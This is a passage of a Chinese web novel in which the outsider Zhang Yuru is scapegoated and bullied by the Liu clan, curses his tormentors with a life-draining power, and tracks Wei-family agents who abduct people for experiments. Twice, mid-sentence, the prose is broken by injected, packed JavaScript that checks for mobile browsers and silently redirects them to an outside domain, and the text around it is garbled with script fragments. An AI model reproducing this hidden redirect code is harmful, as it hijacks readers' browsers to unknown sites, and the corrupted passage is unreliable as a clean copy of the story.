作为张玉汝的上级,也是当初力荐他参与行动的柳泽川,同样受到了家族内部的打压。 旁系长老明里暗里指责他“用人不当”,连带着他负责的生意,也被主家收回了部分管理权。 柳泽川心里比谁都清楚,这些指责有多荒谬——他知道那些叫嚣着“追责”的人,大多是平日里只会守着自家产业、不敢跟魏家正面对抗的无能之辈。 他们不敢去争取被魏家抢占的药材地,不敢去镇守府讨回公道,只能对着自家人“窝里横”,把自己利益受损的怒火,发泄到最容易拿捏的人身上。 他更清楚,柳家的损失根本不是张玉汝的错,只是家族里大多数人太过软弱,需要找一个“替罪羊”来推卸责任,好让自己心里好过些。 但柳泽川从没想过要为张玉汝出头。 他是个聪明人,更是个一心想在柳家站稳脚跟、成就一番事业的人。 在他看来,张玉汝的确有本事——潜入魏家工坊能全身而退,还能带回关键日志,这份能力在柳家护卫里实属难得。 可这份“本事”,在柳家的家族利益面前,根本不值一提。张玉汝终究是个外人,没有柳家血脉,也没有家族根基,把责任推到他身上,远比自己扛下所有非议要划算得多。 柳泽川很快就想到了脱身之法,在张玉汝行动之前,柳泽川正好是身负重伤的状态。 这便成了他最好的借口——既然身负重伤,自然无法亲自管理下属,那么“张玉汝自作主张采取行动,导致柳家遭魏家报复”的说法,就有了立足之地。 接下来,他只需让当初跟着张玉汝一起行动的几位护卫“改口”即可。 这些护卫本就因处境艰难而心生不满,柳泽川又借着自己“柳家嫡系”的人脉,给其中两人许诺了好处——一个被调回城内看守主家的商铺,一个则拿到了额外的补偿金。 有了这两人带头,再加上其他护卫本就对张玉汝心存怨怼,很快就有人站出来“作证”,说当初突袭魏家工坊的计划,是张玉汝“瞒着柳泽川私自决定的”,柳泽川对此毫不知情。 如此一来,所有的责任都顺理成章地落到了张玉汝头上。 而柳泽川,最多只是被人指责一句“识人不明,错信了外人”,既保住了自己的嫡系身份,又彻底从这场风波中摘了出来。 事后,柳泽川躺在病榻上,听着下人汇报家族里的议论,指尖轻轻摩挲着袖口的玉扣,眼底没有半分愧疚——在他看来,这不过是家族纷争里的寻常手段,想要往上走,总免不了要牺牲些无关紧要的人。 “对不起了,姜兄,我是要走上家主宝座的人,就请你为我的大业牺牲吧。”柳泽川心中如是想。 第 29章 恶意 当柳泽川在家族议事会上,当着众长老的面说出“当初张玉汝行事,确有隐瞒,我也是事后才知晓”这句话时,整个柳家对张玉汝的态度,彻底迎来了崩塌式的转变。 此前,虽有不少人对张玉汝心存怨怼,可碍于他曾是柳泽川提携的人,又担心柳泽川会出面维护,大多只是私下议论,不敢有太过出格的举动。 可柳泽川这番“划清界限”的表态,就像给所有人吃了一颗定心丸——他们终于明白,张玉汝早已成了柳家嫡系放弃的“弃子”,再也没有任何人会为他撑腰。 这并非柳泽川个人的影响力有多惊人,而是他作为与张玉汝关系最密切的柳家嫡系,其态度几乎等同于整个柳家主家的立场。 就像比赛场上的发令枪,**一响,那些憋了许久的恶意便如潮水般汹涌而出。 短短几天时间,张玉汝的处境就从云端跌入了泥沼。 往日里,护卫队的人见了他,都会恭恭敬敬地喊一声“姜统领”,哪怕是擦肩而过,也会主动侧身让路。 可现在,有人故意在走廊里挡住他的去路,见他过来不仅不让,还会故意撞他一下,嘴里还骂骂咧咧地说“不长眼的东西”。 更有甚者,在饭堂里故意把汤水洒在他的饭食里,看着他沉默地倒掉饭菜,还在一旁起哄嘲笑。 不仅是护卫,连柳家府里的家奴也开始变本加厉地刁难。按照规矩,张玉汝作为立过功的护卫统领,每月能领到三百斤精米、五十斤处理过的异兽肉,还有三瓶用于修炼的能量液。 可从柳泽川表态后,家奴每次给他送物资时,要么说“库房里精米没了,只能用糙米顶替”,要么就说“能量液本月配额不足,下次再补”。 到后来,连糙米都掺了不少沙子,腊肉更是直接变成了带着腥味的劣等肉。 有一次,张玉汝去库房询问,负责分发物资的家奴竟直接把他推了出去,叉着腰骂道:“你一个惹祸的灾星,还敢来要这要那?能给你口饭吃就不错了!” 张玉汝自始至终都没什么激烈反应——家奴克扣物资,他就默默拿着劣质的糙米回去;护卫故意挑衅,他也只是侧身避开,从不与人争执。 可他的退让,在旁人看来却成了“服软认命”,反而让那些人的行为愈发过分。 没过多久,柳家主家便传来了“追缴赏赐”的消息。当初柳宏远赏给他的那柄武器,被管事以“家族资源需回收再利用”为由收了回去。 主家承诺的“优先调配资源”权限,也被一纸文书废除,理由是“姜离行事失当,暂不具备使用权限的资格”。 更过分的是,连他当初从魏家工坊外围据点缴获的凭本事得来的战利品也被人找上门来要走,说“所有战利品需归家族统一管理,此前是特例,如今需按规矩收回”。 张玉汝看着那些人拿走自己的东西,脸上依旧没什么表情,只是在关上房门后,指尖轻轻按了按眉心。 他心里清楚,这不是结束,只是开始——柳家需要一个“替罪羊”来平息内部的怨气,魏家需要一个“靶子”来发泄报复的怒火。 而他,恰好成了那个最合适的目标。 面对柳家内部的刁难与克扣,张玉汝其实并未放在心上。 那些人争抢的精米腊肉、执着的职位待遇,乃至被收回的青冥刃与权限,在他眼里都如同尘埃——他的心思,早已全部沉浸在探查魏家人体实验的秘密中。 自从从魏家工坊带回那本实验日志,日志里零星记载的“活体改造”“能量融合”等字眼,就像一根无形的线,牵引着他不断深入。 他利用护卫队的身份,悄悄走访魏家工坊周边的村落,搜集那些失踪村民的线索;又借着夜间巡逻的机会,潜入魏家废弃的据点,寻找实验残留的痕迹。 对他而言,这些关乎人命与阴谋的秘密,远比柳家那点蝇头小利重要得多。 可他的妥协与退让,却成了旁人得寸进尺的理由。 那些人见张玉汝从不反抗,便以为他是真的软弱可欺,行为愈发激进——有人故意在他探查线索的路上设置障碍,偷偷拿走他记录线索的小册子;有人在柳家散布谣言,说他“私通魏家,故意泄露柳家情报”;甚至有一次,几个护卫趁他夜间返回住处,在巷子里堵住他,意图抢夺他。 这些人的嘴脸,像是要把积压多年的阴暗与恶意,全都倾泻在他身上,仿佛只有看到张玉汝狼狈不堪,才能抚平他们心中的扭曲。 张玉汝心里清楚,这些人的恶意,并非源于他做错了什么,而是源于他“做得太好”。 他不过是凭借能力带回了实验日志,却无意中夺走了某些人的“机会”——那些在柳家混了多年却毫无建树的护卫,本以为自己能够靠着年资晋升,结果功劳却落在了刚加入不久的张玉汝身上。 那些靠着资历占据职位的家奴,见张玉汝仅凭功绩就能获得赏赐,心里早已埋下嫉妒的种子。 这些人就像阴沟里的虫豸,自己没本事往上爬,却见不得别人比自己好。他们不敢对分配资源的柳家长老撒气,不敢对提携张玉汝的柳泽川有意见,便只能将所有怨恨都记在张玉汝头上。 此前,这些人在张玉汝面前最是殷勤——见了面一口一个“姜统领”,休息过节的时候还会送些自家腌的咸菜、晒的干货,嘴上说着“多亏统领提携”,表现得十分谄媚。 可如今,风向一变,他们便立刻换了副嘴脸,成了打压张玉汝最积极的人。 有个之前总给张玉汝送小礼品的家奴,现在每次分发物资,都会故意把最劣质的糙米扔到他面前,还不忘啐一口:“什么统领,不过是个惹祸精!” 此时的张玉汝,正处于探查魏家秘密的关键时期——他通过失踪人口的线索,查到魏家在城外有一处隐秘的实验基地,最近正频繁运输活体异兽与药材。 他几乎把所有时间都花在了监视实验基地、搜集证据上,根本没精力理会柳家的纷争。 可在那些人看来,他的专注却成了“软弱”的证明,愈发变本加厉地骚扰。 面对这一切,张玉汝虽有不悦,却并未真正生气。 他对柳家,从一开始就没有过期待——当初加入柳家,不过是为了借助柳家的身份,更方便地探查秘密。 一个有着极高的进行大规模人体实验嫌疑的家族,又能指望它有多正直? 没有期待,自然也就不会失望。 他只是在心里默默盘算:等查清自己想要找到的秘密,便立刻离开这个充满恶意的地方,至于眼前这些跳梁小丑,不过是他前行路上无关紧要的阻碍罢了。 可是张玉汝犯了一个错误。 张玉汝始终能平静应对柳家的刁难,底气源于他隐藏的实力——他早已站在大师级能力者的巅峰,体内能量凝练如渊,即便面对宗师级能力者,也有战而胜之的底气。 柳家那些人的刁难、克扣,于他而言不过是蝼蚁撼树,只要他愿意,只需释放一丝能量威压,便能让那些人吓得瘫软在地。 也正因如此,他从没想过要去“反击”,只当这些纷扰是无关紧要的尘埃,一门心思扑在探查魏家秘密上。 可他忘了,自己能置身事外,小雪却不能。 小雪是半年前被张玉汝从异兽袭扰里救下的孩子,她有着极强的能力天赋——这段时间在张玉汝的指点下,她的实力不断提升,还突破到了中级能力者,就算是放到柳家护卫当中,也能够有一席之地了。 可中级能力者的身份,在庞大的柳家面前,却又是那么的微不足道了。 张玉汝不在乎的那些恶意,落在小雪身上,却成了沉甸甸的压力。 她不像张玉汝那样能无视刁难,每天去领取物资时,都要面对家奴的白眼与克扣——原本该给她的修炼用能量晶石,总被换成布满裂纹的残次品。 偶尔想在饭堂多打一份热汤,都会被护卫故意撞翻,溅得满身油污。 有几次,旁系子弟故意拦住她,拿她“姜离的小跟班”身份取笑,甚至用能量弹打碎她手里的药篮,看着她蹲在地上捡散落的草药,笑得前仰后合。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可当他看清小雪脸上未干的泪痕,以及那强忍着委屈却止不住颤抖的指尖时,刚褪去的寒意瞬间又涌了上来,眼底掠过一丝冷得刺骨的光芒。 她看见张玉汝回来,眼圈瞬间红了,却咬着嘴唇没哭出声,只是委屈地看着他,像只受惊的小鹿。 那一刻,张玉汝才彻底醒悟。 他能无视柳家,能够对抗宗师级能力者,却没能看到身边人的遭遇和感受;他能看透柳家的虚伪,却没察觉小雪早已被恐惧压得喘不过气。 看着小雪通红的眼睛和沾了泥污的衣角,他体内的能量第一次不受控制地翻涌起来,空气瞬间变得凝滞,那几个还在叫嚣的护卫,突然像被无形的手扼住喉咙,脸色惨白地瘫倒在地。 张玉汝快步走到小雪身边,轻轻接过她怀里的布包,声音里带着自己都没察觉的颤抖:“对不起,是我忽略了。” 这是他第一次为柳家的事动怒,也是第一次明白——有些责任,从不是靠实力就能“无视”的。 “柳主管,为什么要赶小雪出去?”他上前一步,稳稳将小雪护在身后,声音平静却带着不容置疑的压迫感。 人群中,一个穿着青色管事服的男人走了出来,正是负责柳家护卫队后勤的柳家欣。他上下打量着张玉汝,嘴角勾起一抹嘲讽:“呦,这不是姜统领吗?哦,不对,现在你早就不是统领了,该叫你姜护卫才是。” 柳家欣踱步到院门口,指着歪斜的门板,语气愈发刻薄:“姜护卫,你可得搞清楚,这栋院子是给护卫统领住的,你现在就是个没职位的普通护卫,有什么资格住在这里?柳家仁慈,让你多占了几天便宜,你还真把这里当成自己家了?” 张玉汝眸色微沉,正欲开口,柳家欣却突然拔高声音,像是要让所有人都听见:“现在赶紧带着这小丫头滚,别等我去请长老来!到时候,可就不是赶人这么简单了!” 话音刚落,张玉汝便敏锐地察觉到一股熟悉的能量波动——是大师级能力者的气息,正从东侧的长老院方向传来,显然是柳家欣提前搬来的救兵。 第 30章 取死 “呵。”张玉汝低笑一声,眼底满是不屑。 即便是天人家族的宗师级能力者,见了他都要斟酌三分,从不敢单独与他对峙。 如今一个柳家的大师级能力者,倒成了这些人狐假虎威的底气。 张玉汝的实力让他有底气去无视这些家伙。 更何况,他这段时间已搜集到魏家人体实验的关键证据,柳家对他而言早已可有可无,就算现在撕破脸,又有何妨? 下一秒,张玉汝双眸中黑白二色的光芒缓缓流转,无形的能量场瞬间扩散开来。 他将在场所有对他与小雪抱有敌意的人——包括柳家欣和他身后的护卫,甚至连远处那名正赶来的大师级能力者,都尽数锁定。 被锁定的瞬间,柳家欣只觉得一股寒意从脚底直窜天灵盖,像是被某种顶级掠食者盯上,浑身的血液都仿佛凝固了,连呼吸都变得困难。 那些跟着柳家欣来的护卫,更是直接双腿发软,下意识地往后退了几步,不敢与张玉汝对视。 就连远处那名大师级能力者,也在被锁定的刹那停住脚步,能量波动明显滞涩了几分,显然也感受到了这股远超同级的压迫感。 就在气氛紧绷到极致,张玉汝即将动手的瞬间,一只温热的小手轻轻拉住了他的袖口。 张玉汝身上的寒意瞬间消散,他低头望向身边的小雪,声音瞬间柔和下来:“怎么了,小雪?” 小雪抬起头,眼眶依旧通红,脸上还带着未褪去的委屈,却用力摇了摇头,语气坚定:“我们走吧,姜大哥,这里……我们不住了。” 她知道张玉汝很厉害,可她不想看到张玉汝为了自己,和柳家彻底闹僵,更怕后续会有更多麻烦找上门。 张玉汝认真地看着小雪,女孩的眼神里没有退缩,只有一种不想给他添麻烦的执拗。 他与小雪对视了几秒,忽然笑了笑,伸手揉了揉她的头发:“好,那就听你的。” 说完,他不再看柳家欣等人,牵着小雪的手,径直从人群中穿过。 在他那若有似无的能量威压下,所有人都下意识地往两侧退让,没有一个人敢站在他面前阻拦。 直到张玉汝与小雪的身影彻底消失在巷口,柳家欣才敢大口喘气,刚才那股窒息感让他后背都被冷汗浸湿。 有个护卫见两人走远,壮着胆子骂了一句:“装什么装?不就是个高级能力者吗?要不是长老心善,他早就完了!” 可这话刚说完,便被旁边的人拉了拉衣角——刚才那股压迫感,哪里是普通高级能力者能拥有的? 只是没人敢戳破这一点,只能在心里默默庆幸,刚才没有真的动手。 柳家长老站在巷口,望着张玉汝与小雪消失的方向,眉头拧成了一个疙瘩。 他抬手按了按胸口,刚才被那股杀意锁定时的窒息感,此刻还在胸腔里隐隐作祟——那绝非普通高级能力者能释放的威压,甚至比他见过的不少大师级能力者还要凛冽。 “一个连职位都被撤了的外乡人,怎么会有这么重的杀气?”长老低声自语,语气里满是疑惑。 在他的认知里,张玉汝顶多算是个有点天赋的高级能力者,就算立过功,也不过是在家族争斗里讨生活,手上能沾多少血? 可刚才那一瞬间,他仿佛看到了成片的尸体堆成山,浓郁的血腥味顺着风扑面而来,让他这个浸淫能力者之道数十年的人,都忍不住心头发颤。 长老忍不住猜测:难道这张玉汝是个隐藏的“万人屠”?早年在外面闯荡时,杀过成百上千的人,才养出这么重的杀意? 可转念一想,又觉得不对——若是真有这样的履历,张玉汝根本没必要屈身柳家做个护卫,早就该在雍州地界闯出名声了。 他哪里知道,自己的猜测从一开始就偏了方向。 张玉汝的确杀过人,但就算把那些人全部加在一起,也远远没到“万人”的程度。 真正让他积攒出如此浓厚的杀意的,是那些比能力者凶狠百倍的异兽。 在张玉汝来到这里之前,他曾在益州边境停留了接近一年的时间。 那段日子里,异兽如同蝗虫般席卷村落,他见过整座城镇被异兽啃食殆尽的惨状,也亲身经历过在异兽群里杀出血路的绝境。 为了活下去,为了保护那些和小雪一样无辜的人,张玉汝曾独自一人守在边境的残破防线里,面对过源源不断的异兽潮。 他手里的刀砍钝了,就用能量凝聚成刃;手臂被异兽抓伤了,就咬着牙继续厮杀。 夜里躺在尸堆旁休息,耳边是异兽的嘶吼,鼻尖是浓重的血腥,连梦里都是挥之不去的杀戮。 一年下来,死在他手里的异兽,早已数以万计——有浑身是刺的铁甲兽,有能喷吐毒液的腐骨蛇,还有体型堪比小山的巨齿熊。 这些异兽的凶戾与血腥,早已融入他的杀意里,让他的气息比寻常**还要凛冽。 所以刚才张玉汝释放杀意时,那股混杂着异兽嘶吼与尸山血海的压迫感,才会让柳家长老心惊肉跳。 寻常大师级能力者的杀意,多是来自人与人之间的争斗,带着算计与狠厉。 而张玉汝的杀意,却是在生死边缘淬炼出来的,带着原始的、毁灭一切的气息,就像一头从尸堆里爬出来的凶兽。 光是气息,就足以震慑住没经历过异兽潮的柳家长老。 长老站在原地,越想越觉得不对劲。 他掏出腰间的传讯玉符,犹豫了片刻,终究还是没发消息。 刚才那股杀意让他心里发怵,他隐隐觉得,这个叫张玉汝的外乡人,绝不像表面看起来那么简单。 若是真把人逼急了,他自己未必能够落到什么好处。 “罢了,先看看情况再说。”长老收起玉符,转身往长老院走去,只是脚步比来时沉重了许多。 这位长老并不知道,他的退让大大减少了柳家将会遭受的损失。 没人知道,在张玉汝牵着小雪转身离开的那一刻,这场对峙便已埋下了致命的伏笔。 他表面上顺着小雪的意愿退让,眼底的寒意却并未真正消散——那些敢对小雪动手、试图将两人逼入绝境的人,早已被他记在了心里。 而「枯荣」的印记,就在他锁定众人的瞬间,悄无声息地落在了每个人身上。 这「枯荣」能力,是张玉汝压箱底的手段之一,也是天人世家的宗师级能力者们不愿轻易与他为敌的关键。 它不像寻常能力那样靠能量冲击造成伤害,而是直接作用于生命本源——一旦被命中,生命力便会如同枯败的草木般逐渐衰亡,最直接的后果便是寿命锐减。 曾有一位天人宗师不信邪,试图强行压制「枯荣」的效果,结果不仅没能驱散能力,反倒让自身寿命又折损了五年。 从那以后,几乎所有宗师级能力者都达成了默契:若非生死关头,绝不直接与张玉汝战斗。 毕竟就算能杀了他,损失的寿命也再无弥补的可能,对追求长生的宗师而言,这比任何严重的后果都更难接受。 反倒是那些大师级及以下的能力者,常常因为眼界局限与资源诱惑,愿意铤而走险。 他们大多没见过「枯荣」的真正威力,只当这是普通的伤害,总觉得凭着天人家族庇护或高阶宝物,就能化解风险。 再加上天人家族常以“提升职位”“赏赐高阶资源”为诱饵,这些人便更愿意充当打压张玉汝的马前卒,却不知自己早已踏入了死亡陷阱。 此次张玉汝种下的「枯荣」,特意设了延迟触发的机制。 在他转身离开的瞬间,那些印记便如同种子般潜伏在目标体内,没有引发任何能量波动,连柳家长老那样的大师级能力者都未曾察觉。 这种延迟,既是为了避免立刻与柳家彻底撕破脸——他还需要一点时间整理魏家人体实验的证据,也是为了让那些人在得意中放松警惕,尝尝从云端跌落的滋味。 按照张玉汝的设定,一周后,「枯荣」的效果便会陆续显现。 最先出现的是看似寻常的乏力与嗜睡——比如柳家欣会在处理后勤事务时频繁走神,手里的账本掉在地上都反应不过来。 而那些推搡小雪的护卫,会在巡逻时突然双腿发软,靠在墙边才能勉强站稳,夜里更是沾到枕头就睡死过去,连哨声都吵不醒。 这些看似无关紧要的症状,不过是生命力衰减的前兆。 再过两三天,真正的危机便会降临:有一定年纪的人会发现自己的头发以肉眼可见的速度变白,眼角的皱纹也将突然变深许多,原本还算健壮的身体,稍微动一动就气喘吁吁。 那些年轻护卫则会更明显——皮肤失去光泽,手脚变得冰凉,连修炼时吸收能量的速度都慢了大半,甚至有人在释放能力时,会突然出现能量紊乱的情况。 最可怕的是,这种生命力衰减不会直接致命,却会像附骨之疽般持续恶化。 按照「枯荣」的强度计算,每个被命中的人会按照百分比来削减寿命。 即便是最理想的状态下也会折损三成以上的寿命,而严重的更是会达到七成。 例如原本能活二百岁的柳家欣,寿命会骤降至六十岁左右;二十岁的年轻护卫,可能直接损失十几年阳寿,未老先衰。 更让人绝望的是,这种损伤几乎无法逆转。 柳家或许会请高阶医师诊治,或许会动用珍贵的药材调理,却始终查不出病因——「枯荣」作用于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435255|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生命本源,寻常手段根本无法探测,更别提化解。 到最后,他们只能在日渐衰弱的身体与无尽的恐惧中,慢慢走向衰亡,却永远不知道,自己今日的下场,正是源于当初对张玉汝与小雪的那番刁难。 而此刻的张玉汝,正牵着小雪的手,在长安城外找了一处安全的地方住下。 他帮小雪擦拭掉脸上的泪痕,轻声说道:“以后这里就是我们的家,没人能再欺负你了。” 至于柳家那些人的结局,他早已不再在意——种下的因,终会结出对应的果,这是他们自己选择的路,怨不得旁人。 在赶走张玉汝与小雪后的头几天,柳家那些参与刁难的人,几乎把“嚣张”二字刻在了脸上。 柳家欣每天在后勤库房里,都要对着下属吹嘘几句:“我就说那姜离是个没用的废物,之前装得挺厉害,真要动真格的,还不是夹着尾巴跑了?” 说着,他还会故意把张玉汝之前领物资的登记簿扔在地上,用脚碾几下,仿佛这样就能彰显自己的“威风”。 那些跟着推搡小雪的护卫,更是在饭堂里大言不惭。 有人说“当时我就该直接把那小丫头推倒在泥里,让她知道柳家不是好惹的”,有人则附和“那姜离连屁都不敢放一个,哪配当什么统领?也就是主家之前瞎了眼”,引得周围不少不明真相的柳家子弟跟着哄笑,仿佛赶走张玉汝是什么天大的功劳。 他们甚至还编了几句嘲讽的顺口溜,在柳家护卫队里传得沸沸扬扬:“姜离姜离,遇事就离;小雪小雪,哭着求饶”。每次有人提起,都能引来一阵哄笑,没人觉得自己做了什么过分的事,反倒觉得是自己“厉害”,才吓走了那个“外乡人”。 可这份嚣张,在第七天清晨戛然而止——枯荣的效果,如期而至。 最先出事的是柳家欣。 他早上起床时,刚坐起身就觉得一阵天旋地转,浑身软得像没了骨头,连穿衣都要靠下人帮忙。 原本乌黑的头发,一夜之间竟冒出了不少白发,眼角的皱纹也深了许多,整个人看起来像老了十岁。 他以为是前几天太过劳累,让下人端来参汤补身体,可喝了几碗,非但没好转,反倒越来越嗜睡,坐在椅子上处理事务,没一会儿就会打盹,手里的毛笔掉在账本上,染得满页墨迹。 紧接着,那些护卫也陆续出现了状况。 有个年轻护卫早上巡逻时,突然双腿一软,直接摔在地上,爬起来时只觉得浑身乏力,连握剑的力气都没有。 还有人发现自己的皮肤变得干瘪粗糙,原本能轻松释放的能量,现在连凝聚都困难,修炼时更是感觉体内的能量像漏了的袋子,怎么都存不住。 最让他们恐惧的是,每个人都能清晰地感受到,自己的生命力正在一点点流逝——就像手里捧着的沙子,明明看得见,却抓不住,只能眼睁睁看着它从指缝里溜走。 柳家欣请来族里最好的医师诊治,医师把完脉后,脸色苍白地摇着头:“脉象虚浮,生命力衰败得厉害,可我查不出任何病因,连最珍贵的凝神草都没用……” 这时,有人终于想起了张玉汝。 那个被他们骂作“废物”的外乡人,当初离开时那双眼眸里的寒意,此刻回想起来,竟让人心头发颤。 “会不会是他搞的鬼?”一个护卫哆哆嗦嗦地开口,这话像一颗石子投入平静的湖面,瞬间激起千层浪——是啊,除了那个神秘的外乡人,谁还能有这么诡异的手段? 柳家立刻动用所有力量寻找张玉汝。 他们派人搜查长安城里所有的客栈、酒馆,甚至连城外的破庙、山洞都没放过;柳家欣还亲自带着人,去张玉汝之前可能去过的魏家工坊周边探查,可翻遍了整个雍州地界,都没找到半点踪迹。 张玉汝就像人间蒸发了一样,没有留下任何线索——他住过的小院早已空无一人,之前与他有过交集的人,都说从没见过他;甚至连柳家布下的眼线,都没能发现他的行踪。 那些被枯荣缠身的人,日子过得越发煎熬。 他们每天在恐惧中等待,看着自己的身体一天天衰败,却连报复的对象都找不到。 柳家欣坐在镜子前,看着镜中苍老憔悴的自己,想起前几天的嚣张,只觉得一阵苦涩——原来他们才是那个可笑的“废物”,被人算计了都不知道,现在连求饶的机会都没有。 而此刻的张玉汝,正带着小雪住在长安城外一处隐蔽的山谷里。 山谷里草木繁盛,远离了柳家的纷争。 张玉汝偶尔会从山下传来的消息里,听到柳家众人恐慌的传闻,他只是淡淡一笑,没有多说什么——这是他们应得的下场。 第 31章 ** 张玉汝从不在意柳家那些人的衰败——对他而言,留这些人一条性命,已经算得上是相当温和了。 这份“温和”,若放在异兽身上,是绝无可能存在的。 在益州边境与异兽厮杀的时间里,凡是被他盯上的异兽,从没有活着逃脱的可能。 铁甲兽的坚甲会被他的能量刃劈裂,腐骨蛇的毒液还没喷吐而出就会被冻结,连体型堪比小山的巨齿熊,也会在他的连环攻击下轰然倒地,最后沦为荒野里其他生物的食粮。 对张玉汝来说,异兽是威胁人类生存的恶患,唯有赶尽杀绝才能护得无辜者安全;可柳家的人再可恨,终究是人,只要不触及他的底线,他便愿意留几分余地。 只是随着对魏家、柳家秘密的探索不断深入,张玉汝偶尔会停下脚步反思:或许,他对柳家的“温和”,其实是一种错误。 柳家与魏家之间的争斗、云溪镇那些奇怪的现象,都在隐隐的说明这柳家隐藏起来的那些东西不会太简单。 这般想着,他眼底的淡漠便又深了几分,对柳家那点残存的情绪,也渐渐淡去。 张玉汝能在追查秘密时屡屡找到突破口,靠的不仅是谨慎与耐心,更关键的是他那双能看穿万物痕迹的「造化之眼」。 这双特殊的眼眸,能捕捉到事物经历过的“变化轨迹”——无论是墙上被擦拭掉的血迹残留,还是地面被刻意翻动过的泥土,在「造化之眼」的注视下,都会显露出曾经的状态。 更妙的是,那些刻意掩饰的痕迹,反倒会在眼眸中格外“显眼”。 比如有人为了掩盖打斗痕迹,用湿布擦拭过桌椅,可「造化之眼」能清晰看到布料划过木面的纹路,甚至能还原出当时桌椅碰撞的角度。 若有人偷偷转移过实验废料,地面上残留的能量波动,会像发光的丝线般,指引着他找到废料曾经堆积的位置。 可「造化之眼」并非万能。它的局限在于,当一片区域内的“变化痕迹”太过繁杂时,即便张玉汝能看穿每一道痕迹,也难以从中筛选出自己需要的那一条。 就像在柳家寻找人体实验的线索时,云溪镇本就是柳家的“后花园”——这里的每一寸土地、每一间房屋,都被柳家精心打理过。 村民的日常活动留下痕迹,护卫队巡逻时的脚步留下痕迹,甚至连风吹过草木的晃动,都在产生新的变化。 无数道痕迹交织在一起,如同乱麻般缠绕,张玉汝即便动用「造化之眼」,也分不清哪些痕迹与“人体实验”有关——是某间柴房里的奇怪气味?还是村外小路旁的泥土翻动? 没有明确的“锚点”,他便只能在纷乱的痕迹中徒劳摸索,这也是他此前在柳家迟迟找不到答案的根本原因。 直到突袭魏家工坊后,这层“困境”才终于被打破。 长安与云溪镇截然不同——云溪镇是柳家的“一言堂”,从村民到商铺,几乎都在柳家的掌控之下,张玉汝根本看不出来哪些是正常的,而哪些又是异常。 可长安城是雍州的中心,四大家族、天人李家以及无数小势力在此盘踞,没有任何一个家族能做到“把控一切”。 魏家的工坊虽建在长安城西的偏僻处,却依旧逃不开这种“混乱”。 运输原料的马车会偶尔偏离路线,帮工的村民会在休息时闲聊几句工坊里的“怪事”,甚至连处理废料的杂役,都会因为偷懒而把本该深埋的废料随意堆在墙角。 这些“疏漏”,在旁人眼中或许只是无关紧要的小事,可在张玉汝眼里,却是最珍贵的突破口。 他曾借着夜色潜入魏家工坊周边,用「造化之眼」扫过堆积废料的区域——那里的泥土中,不仅残留着魏家实验特有的能量波动,还能看到几枚模糊的脚印,顺着脚印的轨迹,能还原出杂役倾倒废料时的动作,甚至能隐约看到废料中混着的、带有微弱血迹的碎布。 他还曾在工坊附近的茶摊旁停留,听着运输工人闲聊“工坊里总在深夜传出奇怪的嘶吼声”。 再用「造化之眼」看向工人来时的路——马车轮印中,沾着一点来自魏家实验基地特有的矿石粉末,顺着粉末的痕迹,便能找到马车通往的隐秘岔路。 这些被魏家忽略的“疏漏”,在「造化之眼」的捕捉下,渐渐串联成一条清晰的线索。 张玉汝站在长安城西的山坡上,望着远处魏家工坊的灯火,「造化之眼」中闪过一丝微光——他知道,离揭开魏家实验的核心秘密,已经不远了。 张玉汝在魏家工坊周边潜伏了数日,「造化之眼」始终保持开启状态。 他循着工坊外残留的能量轨迹,像猎犬追踪猎物般,一点点缩小着范围。 那些沾着实验废料的马车辙印、杂役袖口残留的特殊药剂气味,甚至是空气中若有若无的、属于人体能量与异兽能量交融的微弱波动,都成了他追踪的线索。 终于,在第四日清晨,三个穿着魏家暗卫服饰的身影,进入了他的视线。 这三人与其他魏家护卫不同:他们腰间别着的不是常见的破阵**,而是一种带着黑色纹路的金属筒;袖口边缘沾着的泥土里,混着极细的异兽鳞粉。 更关键的是,在「造化之眼」下,他们身上萦绕着一层淡灰色的痕迹——那是长期接触“实验素材”才会留下的独特印记,与他在魏家工坊日志里记载的“活体能量残留”完全吻合。 “就是他们了。”张玉汝隐在一棵老槐树的树冠里,指尖凝聚出三缕近乎透明的能量。 随着他心念一动,能量在空中凝成形体,化作三个与他一模一样的分身——分身不仅容貌、气息与本体毫无二致,甚至能共享「造化之眼」的感知。 只是力量仅为本体的三成,足够用于跟踪与观察,却不会因能量过强而暴露行踪。 三个分身悄无声息地落下,分别跟向三个魏家暗卫。张玉汝的本体则留在原地,闭上眼,意识通过分身扩散开来,同时监控着三个方向的动静。 第一个分身跟着暗卫往城东荒野去。 那里是一片废弃的矿场,散落着几处临时搭建的木屋,住着十几个以采矿为生的流民。 暗卫在矿场外围停下,从腰间取下黑色金属筒,对着远处的山林按下了开关——筒口喷出一道淡紫色的雾气,雾气随风飘向山林。 没过多久,山林里便传来阵阵嘶吼,十几头浑身覆着尖刺的铁甲兽,疯了似的朝着流民的木屋冲去。 流民们惊慌失措地举着矿镐反抗,却根本不是铁甲兽的对手,木屋很快被撞塌,哭喊声与兽吼声混在一起。 而那暗卫就站在远处,冷眼看着这一切,直到流民们死伤过半,才慢悠悠地抽出长刀,几下斩杀了两头疲惫的铁甲兽。 剩下的铁甲兽见势不妙,转身逃回山林,暗卫则走向幸存的三个流民——那几人早已吓得瘫软在地。 暗卫没多说一句话,只是用腰间的锁链将他们捆住,像拖牲口一样拖上了停在路边的马车。 第二个分身跟踪的暗卫,去了城南的山谷。 山谷里有个小小的游牧部落,靠着放牧几群山羊为生。 暗卫抵达后,没有立刻动手,而是绕到部落后方的水源地,往水里倒了一小瓶墨绿色的液体。 半个时辰后,山谷里的山羊突然变得狂躁,四处冲撞,紧接着,一头体型庞大的腐骨蛇从山谷深处爬了出来,蛇信子吞吐着,朝着部落的帐篷游去。 部落的猎手们迅速拿起弓箭,却根本射不穿腐骨蛇的鳞片,反而被蛇尾扫倒了好几人。 